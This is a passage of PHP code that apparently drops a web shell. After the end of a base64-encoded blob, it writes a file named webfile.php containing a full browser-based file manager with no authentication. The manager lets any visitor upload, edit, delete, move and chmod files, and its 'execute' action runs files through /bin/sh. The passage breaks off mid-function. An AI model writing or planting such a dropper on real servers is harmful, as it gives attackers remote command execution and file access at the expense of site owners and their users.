QonOw0KDQp9DQoNCj8+DQo=';
file_put_contents('webfile.php', "<?php\r\n\r\n\$lang = 'it';\r\n\r\n/* Charset of output:\r\n * possible values are described in the charset table at\r\n * http://www.php.net/manual/en/function.htmlentities.php\r\n * 'auto' - use the same charset as the words of my language are encoded\r\n */\r\n\$site_charset = 'auto';\r\n\r\n/* Homedir:\r\n * For example: './' - the script's directory\r\n */\r\n\$homedir = './';\r\n\r\n/* Size of the edit textarea\r\n */\r\n\$editcols = 80;\r\n\$editrows = 25;\r\n\r\n/* -------------------------------------------\r\n * Optional configuration (remove # to enable)\r\n */\r\n\r\n/* Permission of created directories:\r\n * For example: 0705 would be 'drwx---r-x'.\r\n */\r\n# \$dirpermission = 0705;\r\n\r\n/* Permission of created files:\r\n * For example: 0604 would be '-rw----r--'.\r\n */\r\n# \$filepermission = 0604;\r\n\r\n/* Filenames related to the apache web server:\r\n */\r\n\$htaccess = '.htaccess';\r\n\$htpasswd = '.htpasswd';\r\n\r\n/* ------------------------------------------------------------------------- */\r\n\r\nif (get_magic_quotes_gpc()) {\r\n\tarray_walk(\$_GET, 'strip');\r\n\tarray_walk(\$_POST, 'strip');\r\n\tarray_walk(\$_REQUEST, 'strip');\r\n}\r\n\r\nif (array_key_exists('image', \$_GET)) {\r\n\theader('Content-Type: image/gif');\r\n\tdie(getimage(\$_GET['image']));\r\n}\r\n\r\nif (!function_exists('lstat')) {\r\n\tfunction lstat (\$filename) {\r\n\t\treturn stat(\$filename);\r\n\t}\r\n}\r\n\r\n\$delim = DIRECTORY_SEPARATOR;\r\n\r\nif (function_exists('php_uname')) {\r\n\t\$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;\r\n} else {\r\n\t\$win = (\$delim == '\\\\') ? true : false;\r\n}\r\n\r\nif (!empty(\$_SERVER['PATH_TRANSLATED'])) {\r\n\t\$scriptdir = dirname(\$_SERVER['PATH_TRANSLATED']);\r\n} elseif (!empty(\$_SERVER['SCRIPT_FILENAME'])) {\r\n\t\$scriptdir = dirname(\$_SERVER['SCRIPT_FILENAME']);\r\n} elseif (function_exists('getcwd')) {\r\n\t\$scriptdir = getcwd();\r\n} else {\r\n\t\$scriptdir = '.';\r\n}\r\n\$homedir = relative2absolute(\$homedir, \$scriptdir);\r\n\r\n\$dir = (array_key_exists('dir', \$_REQUEST)) ? \$_REQUEST['dir'] : \$homedir;\r\n\r\nif (array_key_exists('olddir', \$_POST) && !path_is_relative(\$_POST['olddir'])) {\r\n\t\$dir = relative2absolute(\$dir, \$_POST['olddir']);\r\n}\r\n\r\n\$directory = simplify_path(addslash(\$dir));\r\n\r\n\$files = array();\r\n\$action = '';\r\nif (!empty(\$_POST['submit_all'])) {\r\n\t\$action = \$_POST['action_all'];\r\n\tfor (\$i = 0; \$i < \$_POST['num']; \$i++) {\r\n\t\tif (array_key_exists(\"checked\$i\", \$_POST) && \$_POST[\"checked\$i\"] == 'true') {\r\n\t\t\t\$files[] = \$_POST[\"file\$i\"];\r\n\t\t}\r\n\t}\r\n} elseif (!empty(\$_REQUEST['action'])) {\r\n\t\$action = \$_REQUEST['action'];\r\n\t\$files[] = relative2absolute(\$_REQUEST['file'], \$directory);\r\n} elseif (!empty(\$_POST['submit_upload']) && !empty(\$_FILES['upload']['name'])) {\r\n\t\$files[] = \$_FILES['upload'];\r\n\t\$action = 'upload';\r\n} elseif (array_key_exists('num', \$_POST)) {\r\n\tfor (\$i = 0; \$i < \$_POST['num']; \$i++) {\r\n\t\tif (array_key_exists(\"submit\$i\", \$_POST)) break;\r\n\t}\r\n\tif (\$i < \$_POST['num']) {\r\n\t\t\$action = \$_POST[\"action\$i\"];\r\n\t\t\$files[] = \$_POST[\"file\$i\"];\r\n\t}\r\n}\r\nif (empty(\$action) && (!empty(\$_POST['submit_create']) || (array_key_exists('focus', \$_POST) && \$_POST['focus'] == 'create')) && !empty(\$_POST['create_name'])) {\r\n\t\$files[] = relative2absolute(\$_POST['create_name'], \$directory);\r\n\tswitch (\$_POST['create_type']) {\r\n\tcase 'directory':\r\n\t\t\$action = 'create_directory';\r\n\t\tbreak;\r\n\tcase 'file':\r\n\t\t\$action = 'create_file';\r\n\t}\r\n}\r\nif (sizeof(\$files) == 0) \$action = ''; else \$file = reset(\$files);\r\n\r\nif (\$lang == 'auto') {\r\n\tif (array_key_exists('HTTP_ACCEPT_LANGUAGE', \$_SERVER) && strlen(\$_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {\r\n\t\t\$lang = substr(\$_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);\r\n\t} else {\r\n\t\t\$lang = 'en';\r\n\t}\r\n}\r\n\r\n\$words = getwords(\$lang);\r\n\r\nif (\$site_charset == 'auto') {\r\n\t\$site_charset = \$word_charset;\r\n}\r\n\r\n\$cols = (\$win) ? 4 : 7;\r\n\r\nif (!isset(\$dirpermission)) {\r\n\t\$dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;\r\n}\r\nif (!isset(\$filepermission)) {\r\n\t\$filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;\r\n}\r\n\r\nif (!empty(\$_SERVER['SCRIPT_NAME'])) {\r\n\t\$self = html(basename(\$_SERVER['SCRIPT_NAME']));\r\n} elseif (!empty(\$_SERVER['PHP_SELF'])) {\r\n\t\$self = html(basename(\$_SERVER['PHP_SELF']));\r\n} else {\r\n\t\$self = '';\r\n}\r\n\r\nif (!empty(\$_SERVER['SERVER_SOFTWARE'])) {\r\n\tif (strtolower(substr(\$_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {\r\n\t\t\$apache = true;\r\n\t} else {\r\n\t\t\$apache = false;\r\n\t}\r\n} else {\r\n\t\$apache = true;\r\n}\r\n\r\nswitch (\$action) {\r\n\r\ncase 'view':\r\n\r\n\tif (is_script(\$file)) {\r\n\r\n\t\t/* highlight_file is a mess! */\r\n\t\tob_start();\r\n\t\thighlight_file(\$file);\r\n\t\t\$src = ereg_replace('<font color=\"([^\"]*)\">', '<span style=\"color: \\1\">', ob_get_contents());\r\n\t\t\$src = str_replace(array('</font>', \"\\\r\n\", \"\\\r\n\"), array('</span>', '', ''), \$src);\r\n\t\tob_end_clean();\r\n\r\n\t\thtml_header();\r\n\t\techo '<h2 style=\"text-align: left; margin-bottom: 0\">' . html(\$file) . '</h2>\r\n\r\n<hr />\r\n\r\n<table>\r\n<tr>\r\n<td style=\"text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray\">\r\n<pre style=\"margin-top: 0\"><code>';\r\n\r\n\t\tfor (\$i = 1; \$i <= sizeof(file(\$file)); \$i++) echo \"\$i\\\r\n\";\r\n\r\n\t\techo '</code></pre>\r\n</td>\r\n<td style=\"text-align: left; vertical-align: top; padding-left: 3pt\">\r\n<pre style=\"margin-top: 0\">' . \$src . '</pre>\r\n</td>\r\n</tr>\r\n</table>\r\n\r\n';\r\n\r\n\t\thtml_footer();\r\n\r\n\t} else {\r\n\r\n\t\theader('Content-Type: ' . getmimetype(\$file));\r\n\t\theader('Content-Disposition: filename=' . basename(\$file));\r\n\r\n\t\treadfile(\$file);\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'download':\r\n\r\n\theader('Pragma: public');\r\n\theader('Expires: 0');\r\n\theader('Cache-Control: must-revalidate, post-check=0, pre-check=0');\r\n\theader('Content-Type: ' . getmimetype(\$file));\r\n\theader('Content-Disposition: attachment; filename=' . basename(\$file) . ';');\r\n\theader('Content-Length: ' . filesize(\$file));\r\n\r\n\treadfile(\$file);\r\n\r\n\tbreak;\r\n\r\ncase 'upload':\r\n\r\n\t\$dest = relative2absolute(\$file['name'], \$directory);\r\n\r\n\tif (@file_exists(\$dest)) {\r\n\t\tlisting_page(error('already_exists', \$dest));\r\n\t} elseif (@move_uploaded_file(\$file['tmp_name'], \$dest)) {\r\n\t\t@chmod(\$dest, \$filepermission);\r\n\t\tlisting_page(notice('uploaded', \$file['name']));\r\n\t} else {\r\n\t\tlisting_page(error('not_uploaded', \$file['name']));\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'create_directory':\r\n\r\n\tif (@file_exists(\$file)) {\r\n\t\tlisting_page(error('already_exists', \$file));\r\n\t} else {\r\n\t\t\$old = @umask(0777 & ~\$dirpermission);\r\n\t\tif (@mkdir(\$file, \$dirpermission)) {\r\n\t\t\tlisting_page(notice('created', \$file));\r\n\t\t} else {\r\n\t\t\tlisting_page(error('not_created', \$file));\r\n\t\t}\r\n\t\t@umask(\$old);\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'create_file':\r\n\r\n\tif (@file_exists(\$file)) {\r\n\t\tlisting_page(error('already_exists', \$file));\r\n\t} else {\r\n\t\t\$old = @umask(0777 & ~\$filepermission);\r\n\t\tif (@touch(\$file)) {\r\n\t\t\tedit(\$file);\r\n\t\t} else {\r\n\t\t\tlisting_page(error('not_created', \$file));\r\n\t\t}\r\n\t\t@umask(\$old);\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'execute':\r\n\r\n\tchdir(dirname(\$file));\r\n\r\n\t\$output = array();\r\n\t\$retval = 0;\r\n\texec('echo \"./' . basename(\$file) . '\" | /bin/sh', \$output, \$retval);\r\n\r\n\t\$error = (\$retval == 0) ? false : true;\r\n\r\n\tif (sizeof(\$output) == 0) \$output = array('<' . \$words['no_output'] . '>');\r\n\r\n\tif (\$error) {\r\n\t\tlisting_page(error('not_executed', \$file, implode(\"\\\r\n\", \$output)));\r\n\t} else {\r\n\t\tlisting_page(notice('executed', \$file, implode(\"\\\r\n\", \$output)));\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'delete':\r\n\r\n\tif (!empty(\$_POST['no'])) {\r\n\t\tlisting_page();\r\n\t} elseif (!empty(\$_POST['yes'])) {\r\n\r\n\t\t\$failure = array();\r\n\t\t\$success = array();\r\n\r\n\t\tforeach (\$files as \$file) {\r\n\t\t\tif (del(\$file)) {\r\n\t\t\t\t\$success[] = \$file;\r\n\t\t\t} else {\r\n\t\t\t\t\$failure[] = \$file;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t\$message = '';\r\n\t\tif (sizeof(\$failure) > 0) {\r\n\t\t\t\$message = error('not_deleted', implode(\"\\\r\n\", \$failure));\r\n\t\t}\r\n\t\tif (sizeof(\$success) > 0) {\r\n\t\t\t\$message .= notice('deleted', implode(\"\\\r\n\", \$success));\r\n\t\t}\r\n\r\n\t\tlisting_page(\$message);\r\n\r\n\t} else {\r\n\r\n\t\thtml_header();\r\n\r\n\t\techo '<form action=\"' . \$self . '\" method=\"post\">\r\n<table class=\"dialog\">\r\n<tr>\r\n<td class=\"dialog\">\r\n';\r\n\r\n\t\trequest_dump();\r\n\r\n\t\techo \"\\t<b>\" . word('really_delete') . '</b>\r\n\t<p>\r\n';\r\n\r\n\t\tforeach (\$files as \$file) {\r\n\t\t\techo \"\\t\" . html(\$file) . \"<br />\\\r\n\";\r\n\t\t}\r\n\r\n\t\techo '\t</p>\r\n\t<hr />\r\n\t<input type=\"submit\" name=\"no\" value=\"' . word('no') . '\" id=\"red_button\" />\r\n\t<input type=\"submit\" name=\"yes\" value=\"' . word('yes') . '\" id=\"green_button\" style=\"margin-left: 50px\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n\r\n';\r\n\r\n\t\thtml_footer();\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'rename':\r\n\r\n\tif (!empty(\$_POST['destination'])) {\r\n\r\n\t\t\$dest = relative2absolute(\$_POST['destination'], \$directory);\r\n\r\n\t\tif (!@file_exists(\$dest) && @rename(\$file, \$dest)) {\r\n\t\t\tlisting_page(notice('renamed', \$file, \$dest));\r\n\t\t} else {\r\n\t\t\tlisting_page(error('not_renamed', \$file, \$dest));\r\n\t\t}\r\n\r\n\t} else {\r\n\r\n\t\t\$name = basename(\$file);\r\n\r\n\t\thtml_header();\r\n\r\n\t\techo '<form action=\"' . \$self . '\" method=\"post\">\r\n\r\n<table class=\"dialog\">\r\n<tr>\r\n<td class=\"dialog\">\r\n\t<input type=\"hidden\" name=\"action\" value=\"rename\" />\r\n\t<input type=\"hidden\" name=\"file\" value=\"' . html(\$file) . '\" />\r\n\t<input type=\"hidden\" name=\"dir\" value=\"' . html(\$directory) . '\" />\r\n\t<b>' . word('rename_file') . '</b>\r\n\t<p>' . html(\$file) . '</p>\r\n\t<b>' . substr(\$file, 0, strlen(\$file) - strlen(\$name)) . '</b>\r\n\t<input type=\"text\" name=\"destination\" size=\"' . textfieldsize(\$name) . '\" value=\"' . html(\$name) . '\" />\r\n\t<hr />\r\n\t<input type=\"submit\" value=\"' . word('rename') . '\" />\r\n</td>\r\n</tr>\r\n</table>\r\n\r\n<p><a href=\"' . \$self . '?dir=' . urlencode(\$directory) . '\">[ ' . word('back') . ' ]</a></p>\r\n\r\n</form>\r\n\r\n';\r\n\r\n\t\thtml_footer();\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'move':\r\n\r\n\tif (!empty(\$_POST['destination'])) {\r\n\r\n\t\t\$dest = relative2absolute(\$_POST['destination'], \$directory);\r\n\r\n\t\t\$failure = array();\r\n\t\t\$success = array();\r\n\r\n\t\tforeach (\$files as \$file) {\r\n\t\t\t\$filename = substr(\$file, strlen(\$directory));\r\n\t\t\t\$d = \$dest . \$filename;\r\n\t\t\tif (!@file_exists(\$d) && @rename(\$file, \$d)) {\r\n\t\t\t\t\$success[] = \$file;\r\n\t\t\t} else {\r\n\t\t\t\t\$failure[] = \$file;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t\$message = '';\r\n\t\tif (sizeof(\$failure) > 0) {\r\n\t\t\t\$message = error('not_moved', implode(\"\\\r\n\", \$failure), \$dest);\r\n\t\t}\r\n\t\tif (sizeof(\$success) > 0) {\r\n\t\t\t\$message .= notice('moved', implode(\"\\\r\n\", \$success), \$dest);\r\n\t\t}\r\n\r\n\t\tlisting_page(\$message);\r\n\r\n\t} else {\r\n\r\n\t\thtml_header();\r\n\r\n\t\techo '<form action=\"' . \$self . '\" method=\"post\">\r\n\r\n<table class=\"dialog\">\r\n<tr>\r\n<td class=\"dialog\">\r\n';\r\n\r\n\t\trequest_dump();\r\n\r\n\t\techo \"\\t<b>\" . word('move_files') . '</b>\r\n\t<p>\r\n';\r\n\r\n\t\tforeach (\$files as \$file) {\r\n\t\t\techo \"\\t\" . html(\$file) . \"<br />\\\r\n\";\r\n\t\t}\r\n\r\n\t\techo '\t</p>\r\n\t<hr />\r\n\t' . word('destination') . ':\r\n\t<input type=\"text\" name=\"destination\" size=\"' . textfieldsize(\$directory) . '\" value=\"' . html(\$directory) . '\" />\r\n\t<input type=\"submit\" value=\"' . word('move') . '\" />\r\n</td>\r\n</tr>\r\n</table>\r\n\r\n<p><a href=\"' . \$self . '?dir=' . urlencode(\$directory) . '\">[ ' . word('back') . ' ]</a></p>\r\n\r\n</form>\r\n\r\n';\r\n\r\n\t\thtml_footer();\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'copy':\r\n\r\n\tif (!empty(\$_POST['destination'])) {\r\n\r\n\t\t\$dest = relative2absolute(\$_POST['destination'], \$directory);\r\n\r\n\t\tif (@is_dir(\$dest)) {\r\n\r\n\t\t\t\$failure = array();\r\n\t\t\t\$success = array();\r\n\r\n\t\t\tforeach (\$files as \$file) {\r\n\t\t\t\t\$filename = substr(\$file, strlen(\$directory));\r\n\t\t\t\t\$d = addslash(\$dest) . \$filename;\r\n\t\t\t\tif (!@is_dir(\$file) && !@file_exists(\$d) && @copy(\$file, \$d)) {\r\n\t\t\t\t\t\$success[] = \$file;\r\n\t\t\t\t} else {\r\n\t\t\t\t\t\$failure[] = \$file;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t\$message = '';\r\n\t\t\tif (sizeof(\$failure) > 0) {\r\n\t\t\t\t\$message = error('not_copied', implode(\"\\\r\n\", \$failure), \$dest);\r\n\t\t\t}\r\n\t\t\tif (sizeof(\$success) > 0) {\r\n\t\t\t\t\$message .= notice('copied', implode(\"\\\r\n\", \$success), \$dest);\r\n\t\t\t}\r\n\r\n\t\t\tlisting_page(\$message);\r\n\r\n\t\t} else {\r\n\r\n\t\t\tif (!@file_exists(\$dest) && @copy(\$file, \$dest)) {\r\n\t\t\t\tlisting_page(notice('copied', \$file, \$dest));\r\n\t\t\t} else {\r\n\t\t\t\tlisting_page(error('not_copied', \$file, \$dest));\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t} else {\r\n\r\n\t\thtml_header();\r\n\r\n\t\techo '<form action=\"' . \$self . '\" method=\"post\">\r\n\r\n<table class=\"dialog\">\r\n<tr>\r\n<td class=\"dialog\">\r\n';\r\n\r\n\t\trequest_dump();\r\n\r\n\t\techo \"\\\r\n<b>\" . word('copy_files') . '</b>\r\n\t<p>\r\n';\r\n\r\n\t\tforeach (\$files as \$file) {\r\n\t\t\techo \"\\t\" . html(\$file) . \"<br />\\\r\n\";\r\n\t\t}\r\n\r\n\t\techo '\t</p>\r\n\t<hr />\r\n\t' . word('destination') . ':\r\n\t<input type=\"text\" name=\"destination\" size=\"' . textfieldsize(\$directory) . '\" value=\"' . html(\$directory) . '\" />\r\n\t<input type=\"submit\" value=\"' . word('copy') . '\" />\r\n</td>\r\n</tr>\r\n</table>\r\n\r\n<p><a href=\"' . \$self . '?dir=' . urlencode(\$directory) . '\">[ ' . word('back') . ' ]</a></p>\r\n\r\n</form>\r\n\r\n';\r\n\r\n\t\thtml_footer();\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'create_symlink':\r\n\r\n\tif (!empty(\$_POST['destination'])) {\r\n\r\n\t\t\$dest = relative2absolute(\$_POST['destination'], \$directory);\r\n\r\n\t\tif (substr(\$dest, -1, 1) == \$delim) \$dest .= basename(\$file);\r\n\r\n\t\tif (!empty(\$_POST['relative'])) \$file = absolute2relative(addslash(dirname(\$dest)), \$file);\r\n\r\n\t\tif (!@file_exists(\$dest) && @symlink(\$file, \$dest)) {\r\n\t\t\tlisting_page(notice('symlinked', \$file, \$dest));\r\n\t\t} else {\r\n\t\t\tlisting_page(error('not_symlinked', \$file, \$dest));\r\n\t\t}\r\n\r\n\t} else {\r\n\r\n\t\thtml_header();\r\n\r\n\t\techo '<form action=\"' . \$self . '\" method=\"post\">\r\n\r\n<table class=\"dialog\" id=\"symlink\">\r\n<tr>\r\n\t<td style=\"vertical-align: top\">' . word('destination') . ': </td>\r\n\t<td>\r\n\t\t<b>' . html(\$file) . '</b><br />\r\n\t\t<input type=\"checkbox\" name=\"relative\" value=\"yes\" id=\"checkbox_relative\" checked=\"checked\" style=\"margin-top: 1ex\" />\r\n\t\t<label for=\"checkbox_relative\">' . word('relative') . '</label>\r\n\t\t<input type=\"hidden\" name=\"action\" value=\"create_symlink\" />\r\n\t\t<input type=\"hidden\" name=\"file\" value=\"' . html(\$file) . '\" />\r\n\t\t<input type=\"hidden\" name=\"dir\" value=\"' . html(\$directory) . '\" />\r\n\t</td>\r\n</tr>\r\n<tr>\r\n\t<td>' . word('symlink') . ': </td>\r\n\t<td>\r\n\t\t<input type=\"text\" name=\"destination\" size=\"' . textfieldsize(\$directory) . '\" value=\"' . html(\$directory) . '\" />\r\n\t\t<input type=\"submit\" value=\"' . word('create_symlink') . '\" />\r\n\t</td>\r\n</tr>\r\n</table>\r\n\r\n<p><a href=\"' . \$self . '?dir=' . urlencode(\$directory) . '\">[ ' . word('back') . ' ]</a></p>\r\n\r\n</form>\r\n\r\n';\r\n\r\n\t\thtml_footer();\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'edit':\r\n\r\n\tif (!empty(\$_POST['save'])) {\r\n\r\n\t\t\$content = str_replace(\"\\\r\n\\\r\n\", \"\\\r\n\", \$_POST['content']);\r\n\r\n\t\tif ((\$f = @fopen(\$file, 'w')) && @fwrite(\$f, \$content) !== false && @fclose(\$f)) {\r\n\t\t\tlisting_page(notice('saved', \$file));\r\n\t\t} else {\r\n\t\t\tlisting_page(error('not_saved', \$file));\r\n\t\t}\r\n\r\n\t} else {\r\n\r\n\t\tif (@is_readable(\$file) && @is_writable(\$file)) {\r\n\t\t\tedit(\$file);\r\n\t\t} else {\r\n\t\t\tlisting_page(error('not_edited', \$file));\r\n\t\t}\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ncase 'permission':\r\n\r\n\tif (!empty(\$_POST['set'])) {\r\n\r\n\t\t\$mode = 0;\r\n\t\tif (!empty(\$_POST['ur'])) \$mode |= 0400; if (!empty(\$_POST['uw'])) \$mode |= 0200; if (!empty(\$_POST['ux'])) \$mode |= 0100;\r\n\t\tif (!empty(\$_POST['gr'])) \$mode |= 0040; if (!empty(\$_POST['gw'])) \$mode |= 0020; if (!empty(\$_POST['gx'])) \$mode |= 0010;\r\n\t\tif (!empty(\$_POST['or'])) \$mode |= 0004; if (!empty(\$_POST['ow'])) \$mode |= 0002; if (!empty(\$_POST['ox'])) \$mode |= 0001;\r\n\r\n\t\tif (@chmod(\$file, \$mode)) {\r\n\t\t\tlisting_page(notice('permission_set', \$file, decoct(\$mode)));\r\n\t\t} else {\r\n\t\t\tlisting_page(error('permission_not_set', \$file, decoct(\$mode)));\r\n\t\t}\r\n\r\n\t} else {\r\n\r\n\t\thtml_header();\r\n\r\n\t\t\$mode = fileperms(\$file);\r\n\r\n\t\techo '<form action=\"' . \$self . '\" method=\"post\">\r\n\r\n<table class=\"dialog\">\r\n<tr>\r\n<td class=\"dialog\">\r\n\r\n\t<p style=\"margin: 0\">' . phrase('permission_for', \$file) . '</p>\r\n\r\n\t<hr />\r\n\r\n\t<table id=\"permission\">\r\n\t<tr>\r\n\t\t<td></td>\r\n\t\t<td style=\"border-right: 1px solid black\">' . word('owner') . '</td>\r\n\t\t<td style=\"border-right: 1px solid black\">' . word('group') . '</td>\r\n\t\t<td>' . word('other') . '</td>\r\n\t</tr>\r\n\t<tr>\r\n\t\t<td style=\"text-align: right\">' . word('read') . ':</td>\r\n\t\t<td><input type=\"checkbox\" name=\"ur\" value=\"1\"'; if (\$mode & 00400) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gr\" value=\"1\"'; if (\$mode & 00040) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"or\" value=\"1\"'; if (\$mode & 00004) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t</tr>\r\n\t<tr>\r\n\t\t<td style=\"text-align: right\">' . word('write') . ':</td>\r\n\t\t<td><input type=\"checkbox\" name=\"uw\" value=\"1\"'; if (\$mode & 00200) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gw\" value=\"1\"'; if (\$mode & 00020) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"ow\" value=\"1\"'; if (\$mode & 00002) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t</tr>\r\n\t<tr>\r\n\t\t<td style=\"text-align: right\">' . word('execute') . ':</td>\r\n\t\t<td><input type=\"checkbox\" name=\"ux\" value=\"1\"'; if (\$mode & 00100) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gx\" value=\"1\"'; if (\$mode & 00010) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"ox\" value=\"1\"'; if (\$mode & 00001) echo ' checked=\"checked\"'; echo ' /></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t<hr />\r\n\r\n\t<input type=\"submit\" name=\"set\" value=\"' . word('set') . '\" />\r\n\r\n\t<input type=\"hidden\" name=\"action\" value=\"permission\" />\r\n\t<input type=\"hidden\" name=\"file\" value=\"' . html(\$file) . '\" />\r\n\t<input type=\"hidden\" name=\"dir\" value=\"' . html(\$directory) . '\" />\r\n\r\n</td>\r\n</tr>\r\n</table>\r\n\r\n<p><a href=\"' . \$self . '?dir=' . urlencode(\$directory) . '\">[ ' . word('back') . ' ]</a></p>\r\n\r\n</form>\r\n\r\n';\r\n\r\n\t\thtml_footer();\r\n\r\n\t}\r\n\r\n\tbreak;\r\n\r\ndefault:\r\n\r\n\tlisting_page();\r\n\r\n}\r\n\r\n/* ------------------------------------------------------------------------- */\r\n\r\nfunction getlist (\$directory) {\r\n\tglobal \$delim, \$win;\r\n\r\n\tif (\$d = @opendir(\$directory)) {\r\n\r\n\t\twhile ((\$filename = @readdir(\$d)) !== false) {\r\n\r\n\t\t\t\$path = \$directory . \$filename;\r\n\r\n\t\t\tif (\$stat = @lstat(\$path)) {\r\n\r\n\t\t\t\t\$file = array(\r\n\t\t\t\t\t'filename' => \$filename,\r\n\t\t\t\t\t'path' => \$path,\r\n\t\t\t\t\t'is_file' => @is_file(\$path),\r\n\t\t\t\t\t'is_dir' => @is_dir(\$path),\r\n\t\t\t\t\t'is_link' => @is_link(\$path),\r\n\t\t\t\t\t'is_readable' => @is_readable(\$path),\r\n\t\t\t\t\t'is_writable' => @is_writable(\$path),\r\n\t\t\t\t\t'size' => \$stat['size'],\r\n\t\t\t\t\t'permission' => \$stat['mode'],\r\n\t\t\t\t\t'owner' => \$stat['uid'],\r\n\t\t\t\t\t'group' => \$stat['gid'],\r\n\t\t\t\t\t'mtime' => @filemtime(\$path),\r\n\t\t\t\t\t'atime' => @fileatime(\$path),\r\n\t\t\t\t\t'ctime' => @filectime(\$path)\r\n\t\t\t\t);\r\n\r\n\t\t\t\tif (\$file['is_dir']) {\r\n\t\t\t\t\t\$file['is_executable'] = @file_exists(\$path . \$delim . '.');\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif (!\$win) {\r\n\t\t\t\t\t\t\$file['is_executable'] = @is_executable(\$path);\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\$file['is_executable'] = true;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif (\$file['is_link']) \$file['target'] = @readlink(\$path);\r\n\r\n\t\t\t\tif (function_exists('posix_getpwuid')) \$file['owner_name'] = @reset(posix_getpwuid(\$file['owner']));\r\n\t\t\t\tif (function_exists('posix_getgrgid')) \$file['group_name'] = @reset(posix_getgrgid(\$file['group']));\r\n\r\n\t\t\t\t\$files[] = \$file;\r\n\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t\treturn \$files;\r\n\r\n\t} else {\r\n\t\treturn false;\r\n\t}\r\n\r\n}\r\n\r\nfunction sortlist (&\$list, \$key, \$reverse) {\r\n\r\n\tquicksort(\$list, 0, sizeof(\$list) - 1, \$key);\r\n\r\n\tif (\$reverse) \$list = array_reverse(\$list);\r\n\r\n}\r\n\r\nfunction quicksort (&\$array, \$first, \$last, \$key) {\r\n\r\n\tif (\$first < \$last) {\r\n\r\n\t\t\$cmp = \$array[floor((\$first + \$last) / 2)][\$key];\r\n\r\n\t\t\$l = \$first;\r\n\t\t\$r = \$last;\r\n\r\n\t\twhile (\$l <= \$r) {\r\n\r\n\t\t\twhile (\$array[\$l][\$key] < \$cmp) \$l++;\r\n\t\t\twhile (\$array[\$r][\$key] > \$cmp) \$r--;\r\n\r\n\t\t\tif (\$l <= \$r) {\r\n\r\n\t\t\t\t\$tmp = \$array[\$l];\r\n\t\t\t\t\$array[\$l] = \$array[\$r];\r\n\t\t\t\t\$array[\$r] = \$tmp;\r\n\r\n\t\t\t\t\$l++;\r\n\t\t\t\t\$r--;\r\n\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t\tquicksort(\$array, \$first, \$r, \$key);\r\n\t\tquicksort(\$array, \$l, \$last, \$key);\r\n\r\n\t}\r\n\r\n}\r\n\r\nfunction permission_octal2string (\$mode) {\r\n\r\n\tif ((\$mode & 0xC000) === 0xC000) {\r\n\t\t\$type = 's';\r\n\t} elseif ((\$mode & 0xA000) === 0xA000) {\r\n\t\t\$type = 'l';\r\n\t} elseif ((\$mode & 0x8000) === 0x8000) {\r\n\t\t\$type = '-';\r\n\t} elseif ((\$mode & 0x6000) === 0x6000) {\r\n\t\t\$type = 'b';\r\n\t} elseif ((\$mode & 0x4000) === 0x4000) {\r\n\t\t\$type = 'd';\r\n\t} elseif ((\$mode & 0x2000) === 0x2000) {\r\n\t\t\$type = 'c';\r\n\t} elseif ((\$mode & 0x1000) === 0x1000) {\r\n\t\t\$type = 'p';\r\n\t} else {\r\n\t\t\$type = '?';\r\n\t}\r\n\r\n\t\$owner = (\$mode & 00400) ? 'r' : '-';\r\n\t\$owner .= (\$mode & 00200) ? 'w' : '-';\r\n\tif (\$mode & 0x800) {\r\n\t\t\$owner .= (\$mode & 00100) ? 's' : 'S';\r\n\t} else {\r\n\t\t\$owner .= (\$mode & 00100) ? 'x' : '-';\r\n\t}\r\n\r\n\t\$group = (\$mode & 00040) ? 'r' : '-';\r\n\t\$group .= (\$mode & 00020) ? 'w' : '-';\r\n\tif (\$mode & 0x400) {\r\n\t\t\$group .= (\$mode & 00010) ? 's' : 'S';\r\n\t} else {\r\n\t\t\$group .= (\$mode & 00010) ? 'x' : '-';\r\n\r\n\t}\r\n\r\n\t\$other = (\$mode & 00004) ? 'r' : '-';\r\n\t\$other .= (\$mode & 00002) ? 'w' : '-';\r\n\tif (\$mode & 0x200) {\r\n\t\t\$other .= (\$mode & 00001) ? 't' : 'T';\r\n\t} else {\r\n\t\t\$other .= (\$mode & 00001) ? 'x' : '-';\r\n\t}\r\n\r\n\treturn \$type . \$owner . \$group . \$other;\r\n\r\n}\r\n\r\nfunction is_script (\$filename) {\r\n\treturn 